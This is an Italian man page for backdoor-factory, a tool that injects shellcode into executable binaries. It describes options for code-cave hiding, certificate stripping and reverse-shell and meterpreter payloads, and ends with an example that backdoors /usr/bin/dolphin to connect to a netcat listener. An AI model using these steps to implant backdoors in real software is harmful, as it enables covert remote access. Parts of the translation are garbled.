backdoor-factory - iniettare shellcode predefinito o definito dall'utente nei binari
backdoor-factory [options]
backdoor-factory corregge i binari eseguibili con lo shellcode desiderato dall'utente e continua la normale esecuzione dello stato prepatchato.
Questo strumento è solo per professionisti della sicurezza e ricercatori.
Questo strumento non supporta l'eseguibile ELF rilocabile (cioè compilato con l'opzione -fPIE, suggerita dai requisiti di rafforzamento Debian, vedi https://wiki.debian.org/Hardening)
I binari come ssh potrebbero non essere ceduti correttamente, come lo sono i binari come dolphin (al momento della stesura di questa pagina man).
mostra questo messaggio di aiuto ed esci
Archivia nella backdoor
Payload disponibili per l'uso. Usa "mostra" per vedere i payload.
IP del C2 per connessioni inverse.
La porta a cui riconnettersi per le shell inverse o su cui restare in ascolto per le shell bind
Seleziona questa opzione se vuoi usare il code cave jumping per nascondere ulteriormente il tuo shellcode nel binario.
Obbligo di aggiungere una nuova sezione all'exe (migliore successo) ma meno evitamento
Shellcode fornito dall'utente, assicurati che corrisponda all'architettura che stai prendendo di mira.
Il flag cave troverà code cave che possono essere utilizzate per nascondere lo shellcode. Questo stamperà su tutti i code cave di una dimensione specifica. Il flag -l può essere utilizzato con questa impostazione.
Da usare con -c per aiutare a trovare code cave di diverse dimensioni
Il percorso del file di output backdoor. Le directory principali devono esistere
Il nuovo nome della sezione deve contenere meno di sette caratteri
Questa è la posizione dei file di cui vuoi eseguire il backdoor. È possibile rendere più veloce una directory di backdoor di file forzando l'allegato di un codecave all'exe utilizzando l'impostazione -a.
Questo flag cambia la sezione che ospita il codecave in RWE. A volte questo è necessario. Abilitato per impostazione predefinita. Se disabilitata, la backdoor potrebbe fallire.
Questo comando trasforma la backdoor factory in un meccanismo di caccia e shellcode inject. Modificare le impostazioni target nel modulo dell'iniettore.
Da utilizzare con l'iniettore, inserisce un suffisso sul file originale per un facile recupero
Da utilizzare con modulo iniettore. Questo comando cancella il file originale. Non per l'uso in sistemi di produzione. (Autore non responsabile per usi stupidi.)
Punto iniziale sull'offset del disco, in byte. Alcuni autori vogliono offuscare il loro offset su disco per evitare il reverse engineering, se trovi uno di quei file usa questo flag, dopo aver trovato l'offset.
Per determinare se il file è supportato da BDF prima di eseguire il backdoor del file. Da usare da solo o con verbose. Questo controllo avviene automaticamente se si tenta il backdooring.
Uso futuro, per aiutare a determinare il più piccolo shellcode possibile in un file PE
Uccide lo striscione.
Per l'output delle informazioni di debug.
Solo file binari di tipo ALL, x86 o x64. Predefinito=TUTTI
Consente la sovrascrittura del puntatore alla tabella del certificato PE rimuovendo efficacemente il certificato dal file binario a tutti gli effetti.
SPERIMENTALE Controlla i binari PE per 'requestedExecutionLevel level="highestAvailable"'. Se questa stringa è inclusa nel file binario, deve essere eseguita come system/admin. Se non è in modalità Support Check, tenterà di applicare la patch maximumAvailable al manifest se esiste la voce requiredExecutionLevel.
Usa questa impostazione se NON vuoi patchare le DLL. Patch per impostazione predefinita.
Per il formato MACH-O. Se file fat, concentrati su quale arco rattoppare. L'impostazione predefinita è x64. Per forzare x86 usa -F x86, per forzare entrambi gli archi usa -F ALL.
Per i payload che possono essere segnalati, imposta il tempo in secondi
Metodi di patch per file PE, 'manuale', 'automatico', sostituzione e onionduke
Per il duca di cipolla. Fornisci il binario desiderato.
Predefinito: NON supporta macchine legacy XP, usa -X per supportare XP. Per impostazione predefinita, il binario si bloccherà su macchine XP (ad esempio sandbox)
SPERIMENTALE Di default viene creata una nuova Import Directory Table in una nuova sezione, chiamando questo flag verrà inserita in una code cave. Ciò può causare errori di bianry in alcuni casi. Prova prima sui file binari di destinazione.
Per quelli con certificati di codifica che desiderano firmare solo binari PE. Assegna un nome rispettivamente alla chiave di firma e alla chiave privatasigningcert.cer esigningPrivateKey.pem nella directory certs, spetta a te ottenere i certificati di firma.
Per eseguire gli script di preelaborazione nella directory di preelaborazione
Ci sono vari shellcode predefiniti in backdoor-factory. La loro disponibilità dipende dal tipo di target (ELF32, ELF64, PE32...). L'elenco degli shellcode è definito di seguito.
serve: un host remoto e una porta da impostare permette: accesso remoto alla shell
serve: un host remoto e una porta da impostare permette: accesso remoto alla shell
necessita: di un beacon, di un host remoto e di una porta da impostare permette: accesso remoto alla shell
bisogno: uno shellcode definito dall'utente pronto per l'iniezione permessi: dipendono dallo shellcode
necessità: permessi:
necessita: di un host remoto e di una porta da impostare permette: accesso remoto alla shell
necessita: di un host remoto e di una porta da impostare consente: Iniettare la DLL del server meterpreter tramite il payload Reflective Dll Injection
necessita: un host remoto e una porta da impostare permette: meterpreter su trasporto https
necessita: uno shellcode definito dall'utente pronto per l'iniezione permessi: dipendono dallo shellcode
necessita: un host remoto e una porta da impostare permette:
necessita: un host remoto e una porta da impostare permette:
necessita: di un host remoto e di una porta da impostare consente: Iniettare la DLL del server meterpreter tramite il payload Reflective Dll Injection
necessita: uno shellcode definito dall'utente pronto per l'iniezione permessi: dipendono dallo shellcode
necessita: di un host remoto e di una porta da impostare permette: accesso remoto alla shell
necessita: di un host remoto e di una porta da impostare permette: accesso remoto alla shell
necessita: di un beacon, di un host remoto e di una porta da impostare permette: accesso remoto alla shell
necessita: uno shellcode definito dall'utente pronto per l'iniezione permessi: dipendono dallo shellcode
Esempio di cavecoding di un binario ELF, integrando un accesso shell remoto tramite un listener TCP remoto (ad esempio netcat):
backdoor-factory -f /usr/bin/dolphin -H 172.16.0.15 -P 8080 -s reverse_shell_tcpSull'host dietro l'IP 172.16.0.15, avvia netcat in modalità di ascolto:
netcat -l 172.16.0.15 8080Sulla destinazione, avvia il binario backdoor:
./backdoored/dolphinOra, sull'host 172.16.0.15, usa semplicemente la tua shell.
Maggio 2017, originariamente compilato da Philippe Thierry (phil at reseau-libre dot com)